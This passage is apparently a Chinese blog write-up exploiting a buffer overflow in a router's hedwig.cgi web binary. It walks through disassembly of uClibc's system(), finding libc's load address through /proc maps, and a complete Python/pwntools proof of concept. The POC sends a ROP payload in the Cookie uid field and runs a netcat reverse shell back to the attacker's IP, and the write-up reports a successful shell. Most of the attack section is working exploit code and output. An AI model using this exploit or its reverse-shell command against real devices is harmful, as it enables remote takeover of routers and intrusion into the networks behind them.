.text:0005324C                 li      $a1, 1
.text:00053250                 li      $a0, 2
.text:00053254                 li      $a1, 1
.text:00053258                 move    $t9, $s1
.text:0005325C                 jalr    $t9 ; signal
.text:00053260                 move    $s2, $v0
.text:00053264                 li      $a0, 0x12
.text:00053268                 move    $a1, $zero
.text:0005326C                 move    $t9, $s1
.text:00053270                 jalr    $t9 ; signal
.text:00053274                 move    $s3, $v0
.text:00053278                 lw      $gp, 0x48+var_30($sp)
.text:0005327C                 la      $t9, fork
.text:00053280                 jalr    $t9 ; fork
.text:00053284                 move    $s4, $v0
.text:00053288                 bgez    $v0, loc_532CC
.text:0005328C                 move    $s0, $v0
.text:00053290                 move    $a1, $s2
.text:00053294                 move    $t9, $s1
.text:00053298                 jalr    $t9 ; signal
.text:0005329C                 li      $a0, 3
.text:000532A0                 move    $a1, $s3
.text:000532A4                 move    $t9, $s1
.text:000532A8                 jalr    $t9 ; signal
.text:000532AC                 li      $a0, 2
.text:000532B0                 move    $a1, $s4
.text:000532B4                 move    $t9, $s1
.text:000532B8                 jalr    $t9 ; signal
.text:000532BC                 li      $a0, 0x12
.text:000532C0                 lw      $gp, 0x48+var_30($sp)
.text:000532C4                 b       loc_533C4
.text:000532C8                 li      $v0, 0xFFFFFFFF
.text:000532CC  # ---------------------------------------------------------------------------
.text:000532CC
.text:000532CC loc_532CC:                               # CODE XREF: system+88↑j
.text:000532CC                 bnez    $v0, loc_5333C
.text:000532D0                 li      $a0, 3
.text:000532D4                 move    $t9, $s1
.text:000532D8                 jalr    $t9 ; signal
.text:000532DC                 move    $a1, $zero
.text:000532E0                 li      $a0, 2
.text:000532E4                 move    $t9, $s1
.text:000532E8                 jalr    $t9 ; signal
.text:000532EC                 move    $a1, $zero
.text:000532F0                 li      $a0, 0x12
.text:000532F4                 move    $t9, $s1
.text:000532F8                 jalr    $t9 ; signal
.text:000532FC                 move    $a1, $zero
.text:00053300                 lw      $gp, 0x48+var_30($sp)
.text:00053304                 move    $a3, $s5
.text:00053308                 li      $a0, 0x60000
.text:0005330C                 li      $a1, 0x60000
.text:00053310                 li      $a2, 0x60000
.text:00053314                 la      $t9, execl
.text:00053318                 addiu   $a0, (aBinSh - 0x60000)  # "/bin/sh"
.text:0005331C                 addiu   $a1, (off_5A450 - 0x60000)
.text:00053320                 addiu   $a2, (off_5A454 - 0x60000)
.text:00053324                 jalr    $t9 ; execl
.text:00053328                 sw      $zero, 0x48+var_38($sp)
.text:0005332C                 lw      $gp, 0x48+var_30($sp)
.text:00053330                 la      $t9, _exit
.text:00053334                 jalr    $t9 ; _exit
.text:00053338                 li      $a0, 0x7F
.text:0005333C
.text:0005333C loc_5333C:                               # CODE XREF: system:loc_532CC↑j
.text:0005333C                 move    $t9, $s1
.text:00053340                 jalr    $t9 ; signal
.text:00053344                 li      $a1, 1
.text:00053348                 li      $a0, 2
.text:0005334C                 move    $t9, $s1
.text:00053350                 jalr    $t9 ; signal
.text:00053354                 li      $a1, 1
.text:00053358                 lw      $gp, 0x48+var_30($sp)
.text:0005335C                 move    $a0, $s0
.text:00053360                 la      $t9, wait4
.text:00053364                 addiu   $a1, $sp, 0x48+var_28
.text:00053368                 move    $a2, $zero
.text:0005336C                 jalr    $t9 ; wait4
.text:00053370                 move    $a3, $zero
.text:00053374                 move    $v1, $v0
.text:00053378                 li      $v0, 0xFFFFFFFF
.text:0005337C                 bne     $v1, $v0, loc_53388
.text:00053380                 lw      $gp, 0x48+var_30($sp)
.text:00053384                 sw      $v1, 0x48+var_28($sp)
.text:00053388
.text:00053388 loc_53388:                               # CODE XREF: system+17C↑j
.text:00053388                 la      $s0, signal
.text:0005338C                 move    $a1, $s2
.text:00053390                 move    $t9, $s0
.text:00053394                 jalr    $t9 ; signal
.text:00053398                 li      $a0, 3
.text:0005339C                 move    $a1, $s3
.text:000533A0                 move    $t9, $s0
.text:000533A4                 jalr    $t9 ; signal
.text:000533A8                 li      $a0, 2
.text:000533AC                 move    $a1, $s4
.text:000533B0                 move    $t9, $s0
.text:000533B4                 jalr    $t9 ; signal
.text:000533B8                 li      $a0, 0x12
.text:000533BC                 lw      $gp, 0x48+var_30($sp)
.text:000533C0                 lw      $v0, 0x48+var_28($sp)
.text:000533C4
.text:000533C4 loc_533C4:                               # CODE XREF: system+34↑j
.text:000533C4                                          # system+C4↑j
.text:000533C4                 lw      $ra, 0x48+var_4($sp)
.text:000533C8                 lw      $s5, 0x48+var_8($sp)
.text:000533CC                 lw      $s4, 0x48+var_C($sp)
.text:000533D0                 lw      $s3, 0x48+var_10($sp)
.text:000533D4                 lw      $s2, 0x48+var_14($sp)
.text:000533D8                 lw      $s1, 0x48+var_18($sp)
.text:000533DC                 lw      $s0, 0x48+var_1C($sp)
.text:000533E0                 jr      $ra
.text:000533E4                 addiu   $sp, 0x48
.text:000533E4  # End of function system

可以看到system以fork形式启动进程,并且当程序为子进程时跳转执行cmd:

.text:00053280                 jalr    $t9 ; fork
.text:00053284                 move    $s4, $v0
.text:00053288                 bgez    $v0, loc_532CC
loc_532CC->执行cmd

应该是qemu user mode内部原因,只能将程序模拟运行,无法复现这里,所以选择在MIPS虚拟机模拟的Web服务中复现,首先拿到libc.so.0的映射地址,可以选择这种方式:

cd /proc/
ls #确定下一个启动的程序的PID
/htdocs/web/hedwig.cgi & cat  ./PID/maps  #a & b->先执行a再执行b,无论a是否成功
For example:
root@debian-mipsel:/proc# /htdocs/web/hedwig.cgi&cat ./3688/maps
[1] 3688
00400000-0041c000 r-xp 00000000 08:01 228956     /htdocs/cgibin
0042c000-0042d000 rw-p 0001c000 08:01 228956     /htdocs/cgibin
0042d000-0042f000 rwxp 00000000 00:00 0          [heap]
2aaa8000-2aaad000 r-xp 00000000 08:01 547912     /lib/ld-uClibc-0.9.30.1.so
2aaad000-2aaae000 rw-p 00000000 00:00 0 
2aabc000-2aabd000 r--p 00004000 08:01 547912     /lib/ld-uClibc-0.9.30.1.so
2aabd000-2aabe000 rw-p 00005000 08:01 547912     /lib/ld-uClibc-0.9.30.1.so
2aabe000-2aae7000 r-xp 00000000 08:01 547913     /lib/libgcc_s.so.1
2aae7000-2aaf7000 ---p 00000000 00:00 0 
2aaf7000-2aaf8000 rw-p 00029000 08:01 547913     /lib/libgcc_s.so.1
2aaf8000-2ab56000 r-xp 00000000 08:01 547915     /lib/libuClibc-0.9.30.1.so
2ab56000-2ab65000 ---p 00000000 00:00 0 
2ab65000-2ab66000 r--p 0005d000 08:01 547915     /lib/libuClibc-0.9.30.1.so
2ab66000-2ab67000 rw-p 0005e000 08:01 547915     /lib/libuClibc-0.9.30.1.so
2ab67000-2ab6c000 rw-p 00000000 00:00 0 
7fd0a000-7fd1f000 rwxp 00000000 00:00 0          [stack]
root@debian-mipsel:/proc# HTTP/1.1 200 OK
Content-Type: text/xml

<hedwig><result>FAILED</result><message>no xml data.</message></hedwig>

可以看到libc.so.0(链接:/lib/libuClibc-0.9.30.1.so)的加载基址为0x2aaf8000(正常路由环境和MIPS虚拟机中为了程序运行速度会取消canary,地址随机化等保护机制)
POC:

from pwn import *
import requests
import sys

def get_payload(offset,libc_addr,cmd):
    payload="A"*offset                     #fill
    payload+=p32(libc_addr+0x531ff)        # $s0
    payload+="A"*4                         # $s1
    payload+="A"*4                         # $s2
    payload+="A"*4                         # $s3
    payload+="A"*4                         # $s4
    payload+=p32(libc_addr+0x159cc)    # $s5 
    payload+="A"*4                         # $s6 
    payload+="A"*4                         # $s7
    payload+="A"*4                         # $gp
    payload+=p32(libc_addr+0x158c8)        # $ra
    payload+="A"*16                        #fill
    payload+=cmd                       # shellcode
    return payload

if __name__=="__main__":
    cmd="nc -e /bin/bash 192.168.160.131 1234" #填入本机IP&&监听端口(其他反弹shell命令总是不成功)
    fake_cookie="uid="+get_payload(0x3cd,0x2aaf8000,cmd)
    header = {
        'Cookie'        : fake_cookie,
        'Content-Type'  : 'application/x-www-form-urlencoded',
        'Content-Length': '100'
        }
    data = {'uid':'kirin'}
    ip_port=sys.argv[1]  
    url="http://"+ip_port+"/hedwig.cgi"
    r=requests.post(url=url,headers=header,data=data)
    log.info("Kirin-say PWN")

Run POC&&反弹get shell

MIPS虚拟机下开启路由器Web服务
在另一台虚拟机上:

python payload.py  mips_ip:port 

Get shell Successfully:

PWNed
上一篇 下一篇

猜你喜欢

热点阅读